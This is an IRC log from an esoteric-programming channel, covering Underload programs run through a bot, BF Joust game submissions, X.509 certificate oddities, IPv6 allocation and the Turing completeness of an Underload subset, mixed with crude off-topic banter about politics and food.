09:30:57 <fungot> (:(()~(^)~(:)~(:)~(^)~()~^S^(^)~^^^)(^())~(^(~))~^^()~^^S)# ...out of stack!
09:32:03 <oerjan> oh duh
09:33:37 <oerjan> ^ul ()(~):(()~(()~(^)~(:)~(:)~(^)~()~^S^(^)~^^^)~^^)~(^())~(^(~))~^^()~^^:(()~(S)~^^)~(^())~(^(~))~^^()~^^:((^~)~^a(()~)~(~^^)**:()~^~()~()~^~^)~(^())~(^(~))~^^()~^^:(()~(^()(^)(^))~(^~a(:)~((^())~(^(~))~^^()~^^)**~*)~^^^)~(^())~(^(~))~^^()~^^:(:^^)~(^())~(^(~))~^^()~^^:^^
09:33:37 <fungot> ~ ...out of stack!
09:38:16 <oerjan> ^ul (~):(()~(^)~^^)~(^())~(^(~))~^^()~^^:(()~(:^^)~^^)~(^())~(^(~))~^^()~^^()~(^()(^)(^))~(^~a(:)~((^())~(^(~))~^^()~^^)**~*)~^^^(~a(#)*S:^):^
09:38:16 <fungot> (:(^)(^())~(^(~))~^^()~^^:^^)# ...out of stack!
09:38:44 <oerjan> ooh missing ~
09:42:24 <oerjan> ^ul (~):(()~(()~(^)~(:)~(:)~(^)~()~^S^(^)~^^^)~^^)~(^())~(^(~))~^^()~^^:(()~(S)~^^)~(^())~(^(~))~^^()~^^:((^~)~^a(()~)~(~^^)**:()~^~()~()~^~^)~(^())~(^(~))~^^()~^^:(()~(^()(^)(^))~(^~a(:)~(~(^())~(^(~))~^^()~^^)**~*)~^^^)~(^())~(^(~))~^^()~^^:(:^^)~(^())~(^(~))~^^()~^^:^^(~(#)SaS:^):^
09:42:24 <fungot> ^~ ...out of stack!
09:42:44 -!- poiuy_qwert has joined.
09:43:09 <oerjan> ^ul ():(()~(()~(^)~(:)~(:)~(^)~()~^S^(^)~^^^)~^^)~(^())~(^(~))~^^()~^^:(()~(S)~^^)~(^())~(^(~))~^^()~^^:((^~)~^a(()~)~(~^^)**:()~^~()~()~^~^)~(^())~(^(~))~^^()~^^:(()~(^()(^)(^))~(^~a(:)~(~(^())~(^(~))~^^()~^^)**~*)~^^^)~(^())~(^(~))~^^()~^^:(:^^)~(^())~(^(~))~^^()~^^:^^(~(#)SaS:^):^
09:43:09 <fungot> ...out of stack!
09:43:20 <oerjan> great
10:29:20 -!- [1]altered_state has joined.
10:31:26 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
10:33:17 -!- poiuy_qwert has joined.
10:35:53 -!- oerjan has quit (Quit: leaving).
10:45:34 -!- FireFly has joined.
10:51:25 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
10:53:17 -!- poiuy_qwert has joined.
11:11:24 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
11:13:12 -!- poiuy_qwert has joined.
11:26:50 -!- cheater00 has quit (Ping timeout: 240 seconds).
11:28:26 -!- cheater00 has joined.
11:31:24 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
11:33:13 -!- poiuy_qwert has joined.
11:40:11 -!- pikhq has joined.
11:40:15 -!- pikhq_ has quit (Ping timeout: 264 seconds).
11:44:25 -!- cheater00 has quit (Ping timeout: 240 seconds).
11:47:55 -!- cheater99 has joined.
11:51:23 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
11:53:13 -!- poiuy_qwert has joined.
12:01:03 -!- BeholdMyGlory has joined.
12:01:19 -!- iconmaster has joined.
12:11:22 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
12:13:10 -!- poiuy_qwert has joined.
12:24:34 -!- Phantom_Hoover has joined.
12:31:22 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
12:33:13 -!- poiuy_qwert has joined.
12:34:53 <Ilari> Haha... X.509: Advantages: extremely flexible & general Disadvantages: extremely flexible & general, extremely ugly
12:35:13 <Slereah> What language?
12:35:29 <Phantom_Hoover> http://en.wikipedia.org/wiki/X.509
12:35:30 <Slereah> Oh, cryptography thangf
12:39:09 <Phantom_Hoover> "Thangf"?
12:40:50 <Slereah> thang
12:40:55 <Phantom_Hoover> "Thang"?
12:41:03 -!- pingveno has quit (Ping timeout: 240 seconds).
12:41:20 <Slereah> http://www.urbandictionary.com/define.php?term=thang
12:41:49 <Ilari> Haha. Certificates that say in one place that that those are not CA cetificates and then in another place say those are.
12:42:33 <Ilari> CA flag false, CertificateSign in Keyusage (that's the CA capability).
12:42:59 -!- pingveno has joined.
12:44:02 <Slereah> This sentence is false
12:46:21 -!- poiuy_qwert has quit (Read error: Operation timed out).
12:46:22 <Ilari> Oh, and certificates that contain "strictly follow KeyUsage". And then contain KeyUsage that is useless for the type (IIRC, RSA for KeyAgreement, except that RSA can't do that).
12:48:06 <Ilari> Heh... Reminds me of making mail programs attempt to encrypt using DSA (which is signature-only).
12:50:52 <Ilari> Oh, and then there's the cute NonRepudation bit in KeyUsage. Nobody really knows what it means.
12:57:07 <Ilari> For using RSA with TLS, one needs at least one of digitalSignature or keyEncipherment.
13:01:05 <Ilari> Heh. Make an esolang that encodes its programs using ASN.1
13:02:01 -!- [1]altered_state has quit (Quit: HydraIRC -> http://www.hydrairc.com <- Nine out of ten l33t h4x0rz prefer it).
13:04:15 -!- sebbu has joined.
13:04:15 -!- sebbu has quit (Changing host).
13:04:15 -!- sebbu has joined.
13:12:47 <Ilari> COME FROM in combination with hierarchial code structure could make some fun stuff.
13:12:52 -!- olsner has quit (Ping timeout: 240 seconds).
13:14:01 -!- olsner has joined.
13:14:19 -!- Zuu has quit (Read error: Connection reset by peer).
13:18:38 -!- Zuu has joined.
13:21:27 -!- olsner has quit (Ping timeout: 260 seconds).
13:28:55 <iconmaster> Does anyone know what EgoJoust does if it encouteres () without a * or a %?
13:29:26 <Slereah> It will kill all humans
13:29:52 <Lymia> !bfjoust evil ((++-)*100000)
13:30:10 <Phantom_Hoover> Lymia, ...why is that evil?
13:30:22 <Lymia> It contains a syntax error.
13:30:24 <Lymia> I want to see what happens.
13:36:17 <iconmaster> There! IconJoust now fully supports ()*and ({})%
13:36:36 <iconmaster> Im re-uploading IconJoust now
13:37:29 <fizzie> Unless Gregor's changed it back, it's running gearlance now.
13:37:59 <fizzie> And gearlance treats a () that is not immediately followed by either * or % as if it were (...)*0.
13:38:29 <fizzie> To handle things where people put ()s inside a (...)*0 comment. (Still won't work if you're commenting out mismatched ()s, though.)
13:41:20 <fizzie> (EgoBot doesn't seem to be here right now, though.)
13:41:37 <iconmaster> Huh. wonder where he went.
13:41:48 <iconmaster> IconJoust is at http://www.yoyogames.com/games/164956-iconjoust
13:43:39 -!- tswett has quit (Changing host).
13:43:39 -!- tswett has joined.
13:44:20 <fizzie> iconmaster: Have you tried the tripped-me-up (a(b{c(d{e{f}})*2})*3)*4 construction with it? (That's supposed to expand to abbbcddeabbbcddeabbbcddeabbbcddef.)
13:45:51 <fizzie> (Or maybe more nitpickingly, "be interpreted as if it were" instead of "expand to".)
13:46:28 <iconmaster> Oh, lemme try now. It has a funny way of expanding ({}) - it turns (a{b}c)%x to (a)*x b (c)*x
13:46:52 <iconmaster> I know thats kinda 'wrong', but im sticking to it...
13:48:07 <iconmaster> shouldnt it be (a(b{c(d{e{f}})%2})%3)%4 ?
13:49:36 <fizzie> Oh, yes.
13:49:57 <fizzie> It's just that gearlance doesn't differentiate between * and %, so I forget to, too.
13:50:38 <iconmaster> I think the trip-me-up is correct.
13:52:06 <fizzie> In completely other news, what: this classroom box doesn't have neither MATLAB nor an X server. And I was going to show a small MATLAB demonstration here.
13:53:38 <fizzie> (Also someone seems to have forgotten a Minority Report DVD in here.)
13:54:08 <Phantom_Hoover> fizzie, *has neither MATLAB
13:54:27 <fizzie> Um, yes.
13:54:43 <fizzie> But even proper spelling won't help me here.
14:01:57 <fizzie> I don't seem to have the perrrivileges to install WinaXe or something here.
14:04:26 -!- zeotrope has joined.
14:10:10 -!- MigoMipo has joined.
14:14:23 -!- olsner has joined.
14:23:55 -!- yiyus has quit (Ping timeout: 240 seconds).
14:30:33 -!- olsner has quit (Ping timeout: 264 seconds).
14:31:37 -!- olsner has joined.
14:37:43 -!- olsner has quit (Ping timeout: 246 seconds).
14:42:51 -!- yiyus has joined.
14:52:01 -!- asiekierka has joined.
14:56:32 -!- copumpkin has quit (Quit: Computer has gone to sleep.).
15:02:32 -!- oerjan has joined.
15:03:41 -!- jix has quit (Quit: leaving).
15:09:19 -!- olsner has joined.
15:09:52 <Phantom_Hoover> http://www.reddit.com/r/AskReddit/comments/fshj3/wisconsinites_wouldnt_it_have_been_easier_to_vote/
15:10:29 <Phantom_Hoover> It annoys me that there are people who seem to think that picking the lesser of two evils is something you should be pleased about.
15:20:27 -!- jix has joined.
15:25:47 -!- jix has quit (Remote host closed the connection).
15:25:54 -!- jix has joined.
15:26:38 -!- copumpkin has joined.
15:26:42 -!- copumpkin has quit (Changing host).
15:26:43 -!- copumpkin has joined.
15:35:22 -!- cheater99 has quit (Ping timeout: 240 seconds).
15:35:46 -!- cheater00 has joined.
15:37:40 <Ilari> APNIC down <0.01: 32k+1k to China, 32k to Guam, 2x4k+2k to Australia, 256 to India. IPv6: /48 to PH, /48 to Singapore. /32 to Thailand, 2x/32 to Australia, /32 to Hong Kong
15:42:13 -!- iconmaster has quit (Quit: Yummy, like ircing on a cake! [ http://www.bersirc.org/ - Open Source IRC ]).
15:44:17 <Phantom_Hoover> Ilari, well, I'm flattered, but I don't really need a /48.
15:45:47 <Ilari> Oops, I missed expanding that entry. It should be /48 to Philippines.
15:46:53 <Ilari> BTW: There are private individuals (and not exceptionally special otherwise either) that have ASN+PI IPv6 /48.
15:47:29 <Phantom_Hoover> Evidently I'm one of them.
15:49:10 <Ilari> AFAIK, at least in ARIN region, the yearly cost of having ASN / PI IPv6 /48 is the same fee, so even if you have both, you only pay that once.
15:50:00 <Ilari> Other registrars might not be so nice.
15:51:53 <pikhq> Yeah, the only real cost of getting your own ASN and IPv6 is getting an ISP to go along with it.
15:55:44 <Ilari> Before APNIC depletes, the maximum block size can start to drop. While it is possible to assign multiple ranges at once, doing this leads to fragmentation.
15:58:14 -!- copumpkin has quit (Ping timeout: 272 seconds).
15:58:43 -!- copumpkin has joined.
16:09:22 -!- olsner has quit (Ping timeout: 252 seconds).
16:34:49 <Gregor> I hate profiling.
16:34:53 <Gregor> I hate profiling SO MUCH.
16:45:16 -!- asiekierka has quit (Ping timeout: 276 seconds).
16:46:42 <augur> Gregor: so do minorities
16:47:01 <Gregor> *ba-dum*
16:49:11 -!- olsner has joined.
16:50:05 -!- elliott has joined.
16:50:25 -!- copumpkin has quit (Ping timeout: 240 seconds).
16:51:39 -!- augur has quit (Remote host closed the connection).
16:57:00 -!- copumpkin has joined.
16:59:54 <elliott> 07:09:52 <Phantom_Hoover> http://www.reddit.com/r/AskReddit/comments/fshj3/wisconsinites_wouldnt_it_have_been_easier_to_vote/
16:59:54 <elliott> 07:10:29 <Phantom_Hoover> It annoys me that there are people who seem to think that picking the lesser of two evils is something you should be pleased about.
16:59:55 <elliott> amazing
17:00:11 <elliott> republicans support DADT and oppose abortion, therefore the USA has a healthy distinct two-party system
17:01:04 <pikhq> elliott: They also believe in smaller government.
17:01:31 <elliott> pikhq: Uhh, not really.
17:01:42 <pikhq> elliott: Sorry, they also *claim* to believe in small government.
17:01:51 <elliott> pikhq: Sure they go on about privatise this, privatise that but I don't see them claiming they'll shrink the military.
17:01:59 <elliott> Or, uh, cut Congress pay.
17:02:00 <elliott> Or...
17:02:04 <pikhq> elliott: Exception, Ron Paul.
17:02:18 <pikhq> Of course, Ron Paul in particular I'm not sure why he's in the GOP.
17:02:43 <elliott> yeah but he's a right-wing nutcase.
17:02:44 <pikhq> He's more of an actual conservative than a fire-and-brimstone politician.
17:02:56 <elliott> well, libertarian nutcase, to be precise
17:03:26 <pikhq> elliott: They're all nutcases. Paul is a breath of fresh air merely for having internally consistent views.
17:03:57 <pikhq> And now to stop mentioning the guy, because it's damned depressing that I consider him sane compared to most of Congress.
17:04:07 <pikhq> Fuck, I need a drink.
17:10:04 <elliott> pikhq: May I suggest whisky, drink of old, grumpy farts?
17:12:51 <pikhq> KANNHĄI!
17:16:07 <Gregor> Scotch whiskey is the drink of young grumpy farts :P
17:17:03 -!- olsner has quit (Ping timeout: 250 seconds).
17:17:53 <pikhq> Fuck it, I'm too young to drink legally still. Coffee it is.
17:18:07 <pikhq> Fucking puritans.
17:18:21 <zeotrope> not to young to join the army though..
17:18:26 <Gregor> Is coffee that much better while fucking a puritan?
17:18:39 <pikhq> Gregor: Them puritans are crazy in bed, man. :P
17:19:03 <pikhq> zeotrope: I am, however, too 4F-able to join the army.
17:20:05 <elliott> <pikhq> Fuck it, I'm too young to drink legally still. Coffee it is.
17:20:07 <elliott> LOL AMERICA
17:20:34 <elliott> And wtf is 4F-able.
17:20:35 <zeotrope> that's a shame, could have learned some cool psyops stuff
17:20:37 <zeotrope> http://www.youtube.com/watch?v=sJIqpJ5_hJc
17:22:14 <zeotrope> 4F is a conscription class meaning not admissable
17:22:31 * zeotrope had to look that up
17:24:37 <pikhq> I'm also exempt from the draft. Yay.
17:25:14 <elliott> i guess you just had to mention brainfuck
17:25:50 <Sgeo> 4F-able?
17:25:58 <Sgeo> Oh
17:26:08 <Sgeo> Hmm, that doesn't explain why
17:26:14 <pikhq> Ineligible for military service, medical reasons.
17:26:24 <oerjan> MAD AS A HATTER
17:26:58 <elliott> pikhq is secretly made out of plasma.
17:27:11 <oerjan> a miasma of plasma
17:27:28 <pikhq> I will ruin your dwarf fortress!
17:27:33 <pikhq> With the power of miasma!
17:27:34 -!- olsner has joined.
17:31:23 <elliott> pikhq: did you know that olsner is from paris? that's no lie!
17:31:46 -!- augur has joined.
17:32:10 <pikhq> Damned French. My father does NOT smell of elderberries, I'll have you know!
17:35:00 <Phantom_Hoover> pikhq, which medical reasons?
17:35:25 <elliott> Like I said.
17:35:28 <elliott> Plasma-based composition.
17:36:22 <pikhq> Phantom_Hoover: Autism.
17:36:31 <Phantom_Hoover> Surely that makes him an incredibly valuable military asset?
17:36:35 <Phantom_Hoover> Plasma, that is, not autism.
17:36:36 <fizzie> Gregor: I suppose someone already complained about the lack of Ego?
17:36:50 <elliott> Autistic plasma: THE MOST LOGICALLY TACTICAL NON-SOLID LIFEFORM _EVER_
17:37:06 <elliott> There should be a movie. AUTISTIC PLASMA
17:37:41 <Phantom_Hoover> He can't do anything because his electrons have to be lined up in *just* the right way.
17:38:09 <elliott> THAT'S OCPD *slap Phantom_Hoover*
17:38:26 <elliott> *slaps
17:38:37 <Phantom_Hoover> SHUT UP I CAN'T EXACTLY MAKE IT "DOESN'T TALK TO OTHER PLASMA"
17:38:43 <Phantom_Hoover> Ooh, wait.
17:38:53 <Phantom_Hoover> He's useless because he can't interact with anything.
17:39:14 <oerjan> without exploding, that is
17:39:26 <Phantom_Hoover> Well, that'd be useful.
17:39:59 <elliott> pikhq is totally offended now.
17:39:59 <elliott> ...
17:40:04 <elliott> How dare you mock his plasma-based composition?!
17:40:17 <oerjan> no, he doesn't, he cannot understand that we are mocking him
17:40:29 <oerjan> *isn't
17:40:40 <elliott> that's zzo you're thinking of
17:40:42 * oerjan types in stereo
17:41:12 <fizzie> Today's lunch talk: could you deep-fry plasma? (Context: apparently they do -- somewhere in Texas or something -- deep-fried coca-cola and deep-fried beer already.)
17:41:27 <fizzie> http://en.wikipedia.org/wiki/Fried_Coke
17:41:30 <Sgeo> I should probably eat at some point
17:41:44 <oerjan> fizzie: throw some billion tons of lard into the sun and see
17:41:44 <fizzie> "It was introduced by inventor Abel Gonzales, Jr., at the 2006 State Fair of Texas, where it won the title of "Most Creative" in the second annual judged competition among food vendors."
17:42:05 <Phantom_Hoover> fizzie, dammit, Scotland has been overtaken by America in the deep-frying research industry.
17:42:17 <fizzie> Journal of High Energy Deep-Frying.
17:42:40 <oerjan> "The Culinary Use of Fusion Reactors"
17:42:56 <oerjan> "Cooking With Your Tokamak"
17:43:05 <Phantom_Hoover> <oerjan> fizzie: throw some billion tons of lard into the sun and see ← billion is waaaaay too small.
17:43:06 <oerjan> I SEE AN INDUSTRY OPENING
17:43:21 <oerjan> Phantom_Hoover: well it's just for testing purposes, duh
17:43:34 <elliott> http://en.wikipedia.org/wiki/Fried_Coke
17:43:35 <elliott> oh wow.
17:43:39 <elliott> i must try this
17:43:47 <elliott> it sounds awful. it sounds amazing
17:43:52 <Phantom_Hoover> elliott, oh jesus
17:43:58 <Phantom_Hoover> I want to vomit already.
17:44:08 <elliott> Phantom_Hoover: it would be so delicious, and kill me.
17:44:13 <elliott> don't let Ilari hear
17:44:14 <fizzie> oerjan: I did suggest converting ITER into an experimental magnetic-containment deep-fryer; sounds far more important to humanity than fusion energy.
17:44:15 <elliott> shit
17:44:39 <Phantom_Hoover> 3500kJ per cup.
17:44:43 <Phantom_Hoover> That's, like...
17:44:45 <oerjan> fizzie: now our _food_ can be permanently 30 years away too!
17:44:53 <elliott> Phantom_Hoover: that's like less than something you can buy from mcdonalds, i bet
17:45:04 <Phantom_Hoover> Enough to make a bath with 10 litres of water.
17:45:38 <Phantom_Hoover> When I am in charge all energy content in food will be relativistic.
17:45:49 <fizzie> oerjan: I'm pretty sure fusion will be a practical and viable method of energy production at around the year 2050. (Source: Sim City 2000.)
17:45:50 <Phantom_Hoover> *labelled energy content
17:46:37 -!- olsner has quit (Ping timeout: 246 seconds).
17:48:35 <fizzie> Or to quote a website: "The shops have been using the bar code system, 666, for years. New American credit cards contain the prefix 666. World bank number code [?] is 666, etc. Source: a pamphlet."
17:48:54 <fizzie> (Paraphrased; the original was in Finnish.)
17:49:13 <elliott> fizzie: wat
17:49:46 <fizzie> I've gotten into the habit of using "source: a pamphlet" as a sort of an intensifier whenever I make a statement; it's such a boost to believability.
17:50:14 <elliott> Sauce, a pamphlet.
17:50:28 <oerjan> I'M SO LOOKING FORWARD TO GET THAT CREDIT CARD CHIP IMPLANTED IN MY FRONT HEAD
17:50:42 <fizzie> It's "lähde: lentolehtinen" in Finnish, it sounds better that way.
17:51:28 <oerjan> fizzie: ooh, fusion cooking would take on an entirely new meaning!
17:51:58 <elliott> "sorry, this has been archived and can no longer be voted on"
17:51:59 <elliott> WTF, reddit? WTF?
17:52:20 <oerjan> elliott: um there's a limit of six months or so iirc
17:52:33 <elliott> oerjan: one motnh
17:52:35 <elliott> *month
17:52:37 <oerjan> oh
17:52:39 <elliott> oerjan: you can't reply after a certain number of months too apparently, that's just fucked up
17:52:46 <elliott> ok i can see a reason for voting
17:52:48 <elliott> but not being able to reply?
17:52:50 <elliott> why??
17:52:56 <elliott> hmm
17:52:57 <elliott> "Actually, the reply limit was changed from six months to one. The voting limit was always in place, but now it's more transparent."
17:53:06 <fizzie> They sell this Finlandia-brand "X Fusion" vodka with different X's -- Lime, Mango, whatever -- and whenever I see it I have to wonder about what it has to do with fusion-as-in-physics.
17:53:07 <elliott> that is ridiculous
17:53:21 -!- iconmaster_ has joined.
17:55:02 -!- olsner has joined.
18:05:26 -!- iconmaster_ has quit (Quit: Rooms • iPhone IRC Client • http://www.roomsapp.mobi).
18:08:45 <elliott> And now, the advice animals tired-meme-series reaches new heights of ridiculousness: http://i.imgur.com/D8aO6.jpg
18:11:24 <Phantom_Hoover> elliott, that's the Scumbag Steve meme, you fool!
18:11:41 -!- Behold has joined.
18:11:41 -!- Behold has quit (Changing host).
18:11:42 -!- Behold has joined.
18:11:54 <elliott> Phantom_Hoover: No, it isn't; and besides, Scumbag Steve is just an Advice Animals offshoot.
18:11:57 <elliott> It's all a bunch of reddit bullshit.
18:12:25 <oerjan> well naturally, i recall the advice animals subreddit explicitly points out that humans are animals.
18:12:28 <elliott> Meme comes in from 4chan to reddit one year late --> breeds wildly --> run to the ground --> continues for months regardless.
18:15:17 <Phantom_Hoover> http://i.imgur.com/1pKaM.png
18:15:34 -!- BeholdMyGlory has quit (Ping timeout: 276 seconds).
18:23:50 <elliott> Phantom_Hoover: wat
18:24:32 <elliott> oerjan: btw i was thinking about :()^
18:25:15 <elliott> oerjan: as we know, there is only one way to create more data - :. also, there is only one way to shrink *or* modify data - ^. so in the long run, there is exactly one way to create new data without just duplicating previous data
18:25:16 <elliott> :^
18:25:29 <elliott> so, for complex behaviour, data has to be a program that acts on itself
18:25:33 <elliott> but it can't do anything with itself but :^ again
18:25:44 <elliott> so I very much doubt it's TC
18:26:18 <oerjan> i doubt so too
18:26:35 <oerjan> and i think possibly a might not help either
18:27:13 <oerjan> (you can only modify the top with it, so you still need ^ which only reverses it)
18:27:22 <elliott> oerjan: I think what I said above is pretty close to a proof
18:27:50 <elliott> :^ is the only "compound instruction" that does anything "complicated"
18:27:54 <oerjan> i think you are overly optimistic
18:28:05 <elliott> oerjan: i don't mean a formal proof
18:28:09 <elliott> just a "let's stop thinking about it" proof ;D
18:28:41 <oerjan> um thinking that it is _not_ TC is no reason to stop wanting a proof
18:28:57 <elliott> oerjan: i meant, stop thinking about trying to do a TM in it
18:29:23 <oerjan> a TM seems pretty hard
18:29:50 <elliott> oerjan: i mean any complex behaviour really
18:30:10 <elliott> hmm, in fact, in the long run, I think any :()^ program ends up just doing
18:30:15 <oerjan> i think the behavior can be pretty complex, just not necessarily useful
18:30:21 <elliott> f(f^m(x), f^n(y), ...)
18:30:30 <elliott> because in the long run, you have to keep applying the same thing
18:30:37 <elliott> or... i suppose it could transform a function into a different function
18:30:39 <elliott> but ehhhh, i doubt it
18:30:53 <elliott> i would say that function quotations in underload tend to be rather useless as data
18:30:56 <oerjan> well you only have a finite set of elements to use in a given :()^ program
18:31:09 <oerjan> but that's true of :()^! too, which is TC
18:31:42 -!- zzo38 has joined.
18:32:01 <oerjan> the essential property that i see of :()^a is the complete impossibility of getting to data below the top of stack without running it
18:34:07 -!- elliott_ has joined.
18:34:08 -!- elliott has quit (Read error: Connection reset by peer).
18:34:17 <elliott_> oerjan: indeed
18:35:04 <elliott_> meanwhile, GHC developers:
18:35:05 <oerjan> um also what do you mean "function quotations in underload tend to be rather useless as data"
18:35:05 <elliott_> "Most of my hacking cycles right now are going towards debugging the new code generator for GHC. The code generation stage of GHC takes the Stackless Tagless G-machine (STG) intermediate representation (IR) to the C-- high-level assembly representation; the old code generator essentially performed this step in one big bang. The new code generator is many things. It is a more modular, understandable and flexible codebase. It is a client of cutting edge
18:35:06 <elliott_> research in higher-order frameworks for control-flow optimization.
18:35:06 <elliott_> It is also frickin’ hard to debug."
18:35:11 <elliott_> <oerjan> um also what do you mean "function quotations in underload tend to be rather useless as data"
18:35:19 <elliott_> oerjan: things you can manipulate as data tend to not do anything useful when called
18:35:21 <elliott_> and vice-versa
18:35:23 <elliott_> in underload
18:35:39 <elliott_> oerjan: so I can't imagine most quotations can operate on themselves well
18:35:57 <elliott_> when using :^ to get some modified data
18:36:30 <oerjan> what is precise definition of "function quotation"
18:36:33 <oerjan> *is your
18:36:49 <elliott_> oerjan: it isn't precise, I just mean "quotation that does something useful when ^'d"
18:36:56 <elliott_> a quotation is (...) if you didn't know :-P
18:37:10 <oerjan> you realize quotations are the _only_ data in underload?
18:37:16 <elliott_> oerjan: ffffff
18:37:16 <zzo38> Are there any chess variants with sphinx of black quartz? Is there any chess variants with judging a vow?
18:37:30 <elliott_> oerjan: QUOTATIONS THAT ARE USEFUL FUNCTIONS ARE RARELY WELL-MANIPULATABLE DATA
18:37:35 <elliott_> ((x)~^(y)~^(z)~^)
18:37:39 <elliott_> that's well-manipulatable data
18:37:43 <elliott_> (:a:**)
18:37:44 <elliott_> that isn't
18:38:01 <elliott_> ok the first is a bad example since you call it. but ff
18:38:25 <oerjan> ...all data needs to be called, since that is the only way to get information out of it
18:38:34 <elliott_> yes...
18:38:35 <elliott_> oh whatever
18:38:43 <elliott_> I'm saying that :^ is only useful for things like recursion
18:38:46 <elliott_> not for modifying data
18:38:57 <elliott_> i don't think you can get a list-like structure to modify itself
18:39:13 * oerjan rolls eyes
18:40:28 <elliott_> oerjan: what?
18:41:15 <Sgeo> Oh, in the context of Underload
18:41:33 <elliott_> oerjan: just 'cuz i make no sense don't mean you have to be a meanie
18:41:40 <oerjan> there may be a vague distinction, but you can easily straddle the boundary
18:43:12 <oerjan> i mean my lookup tables, for example, are also essentially case statements
18:43:34 <elliott_> OKAY MR. "person who's actually written a program in underload unlike me"
18:44:23 <oerjan> and you can use :^ like things to generate essentially infinite data like lists
18:44:59 <Gregor> http://www.theonion.com/articles/marauding-gay-hordes-drag-thousands-of-helpless-ci,19325/ Oh nooooooooose
18:48:12 -!- Wooble has joined.
18:49:16 <Wooble> !bfjoust wooble-orig http://pastebin.com/raw.php?i=N8Ne4yLY
18:49:58 <oerjan> Wooble: EgoBot isn't online at the moment. also the wooble- is added automatically.
18:50:17 <oerjan> um actually it's online, just not here
18:50:25 <Wooble> ok then.
18:50:30 <oerjan> you could try privmsg
18:51:25 <oerjan> Gregor: ^
18:51:51 <Wooble> no response. in any case, I'm guessing my 2-year-old bfjoust strategy isn't very effective anymore. I had no idea the game still existed after the Agora version died off.
18:52:10 <Wooble> ah, slow response. and yes, 0.0 score.
18:52:45 <elliott_> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
18:52:45 <elliott_> <html xmlns="http://www.w3.org/1999/xhtml">
18:52:45 <elliott_> <head>
18:52:45 <elliott_> <meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
18:52:45 <elliott_> <title>RAW OUTPUT N8Ne4yLY</title>
18:52:47 <elliott_> <meta name="robots" content="noindex, nofollow" />
18:52:56 <elliott_> --http://pastebin.com/raw.php?i=N8Ne4yLY
18:53:10 <Wooble> well that would hurt the strategy a bit...
18:53:16 <Wooble> stupid pastebin.
18:53:17 <elliott_> also, the tape is 10-30 long, so your program never wins.
18:53:24 <oerjan> Wooble: um, your paste assumes a far longer tape than our ... right
18:53:53 <Wooble> ah.
18:53:56 <Gregor> Ack, EgoBot is off again >_<
18:54:17 <Gregor> Sorry, I broke things a lot yesterday :P
18:54:41 <oerjan> wtf a /raw.php? that doesn't actually respond raw...
18:54:49 <Wooble> you kids today and your modern jousting games. back in my day, we had to walk uphill in the snow to get to the end of the tape.
18:54:51 <zzo38> You can use sprunge instead it does in fact respond with raw text by default.
18:55:18 -!- EgoBot has joined.
18:55:19 -!- HackEgo has joined.
18:55:23 <zzo38> Wooble: There is snow in the tape? That must be why it doesn't work.
18:57:10 <oerjan> Wooble: well if you cut off most of those >>>>>>>>>>> that only run you off the tape anyway, that should fit nicely in an irc message
18:57:35 <oerjan> no need to use pastebin
18:57:38 <Wooble> yes, but the strategy still should fail horribly for a short tape.
18:57:51 <oerjan> hm
18:58:08 <elliott_> every program on the hill would beat any strategy so naive.
18:58:22 <elliott_> especially one that wastes time by moving with a loop.
18:59:08 <Wooble> to be fair, it was in first place back when the game started and there were no strategies evolved :)
18:59:27 <elliott_> and when loop conditions were broken.
19:00:25 -!- variable has quit (Ping timeout: 264 seconds).
19:01:31 <fizzie> Gregor: <fizzie> Gregor: I suppose someone already complained about the lack of Ego?
19:01:38 <fizzie> Gregor: Didn't you say you follow pings?
19:02:31 <Gregor> fizzie: I follow pings when I get home, not in the middle of the day.
19:02:40 <Gregor> fizzie: I have a bouncer, so I only see the full log when I'm on a computer with the full log.
19:02:42 <fizzie> Gregor: What sort of excuse-monkey talk that is.
19:03:00 -!- variable has joined.
19:04:09 <Gregor> <Wooble> to be fair, it was in first place back when the game started and there were no strategies evolved :) // when the game first started the tape length was different, it's 10-30 now. That's the biggest issue :P
19:04:16 <Gregor> !bfjoust i_regret_everything <3
19:04:19 <EgoBot> Score for Gregor_i_regret_everything: 0.0
19:05:05 <fizzie> oerjan: Pastebin's "download" link is actually raw (though it comes with the metainfo that causes browsers to show a download link); the "raw" is a bit medium-raw indeed.
19:06:05 <fizzie> Also that looks like it would fit in an IRC message even without any trimmings.
19:07:34 <Wooble> !bfjoust naive >->+>->+>-->++>--->+++++[-]+[->++[-]+][->++[-]+][->++[-]+][->++[-]+][->++[-]+]
19:07:36 <EgoBot> Score for Wooble_naive: 12.7
19:09:29 <oerjan> that last part can be abbreviated to ([->++[-]+])*5 in our current interpreters
19:10:15 <Sgeo> Oh come on, Continuity 2 is iOS only?
19:10:16 <Sgeo> :(
19:11:17 <Wooble> the business community management company? ;)
19:18:15 <fizzie> Wooble: You can see some additional bits about what your proggie did/is-like at http://zem.fi/egostats/ (not on-demand, but freshly updated)
19:18:46 <fizzie> Should add more plotteries. (Though it already takes something like 10-15 minutes to draw them all with the slow-as-slow numpy/scipy/matplotlib combination.)
19:19:43 <elliott_> defend13 and defend9.75 died?
19:20:46 <fizzie> 41 23 13.94 -12.71 ais523_defend13.bfjoust
19:20:46 <fizzie> 42 25 13.43 -19.74 ais523_defend9_75.bfjoust
19:20:50 <fizzie> Doesn't look so dead.
19:21:23 <oerjan> !bfjoust
19:21:24 <elliott_> oh, did not see them
19:21:24 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
19:22:16 * Sgeo sees what he _thinks_ is a nasty issue with Clojure's concurrency
19:24:36 <oerjan> why would you want use currency made by cons, anyway
19:24:39 <oerjan> *to use
19:24:45 <Gregor> *ba-dum*
19:25:07 <Wooble> !bfjoust blah (>->+)*5(>++[-]+)*40
19:25:13 <EgoBot> Score for Wooble_blah: 10.7
19:25:19 <elliott_> what woulf a concatenative tree rewriting language look like...
19:25:39 <elliott_> (x)^ === x
19:25:41 <elliott_> *would
19:26:42 <oerjan> i think ais523 said the first underload interpreter was based on rewriting
19:28:20 <oerjan> (x)(y)S === (y)S(x)
19:28:28 <oerjan> (x)S(y)S == (xy)S
19:29:06 <oerjan> that way all output can be eventually moved to the front
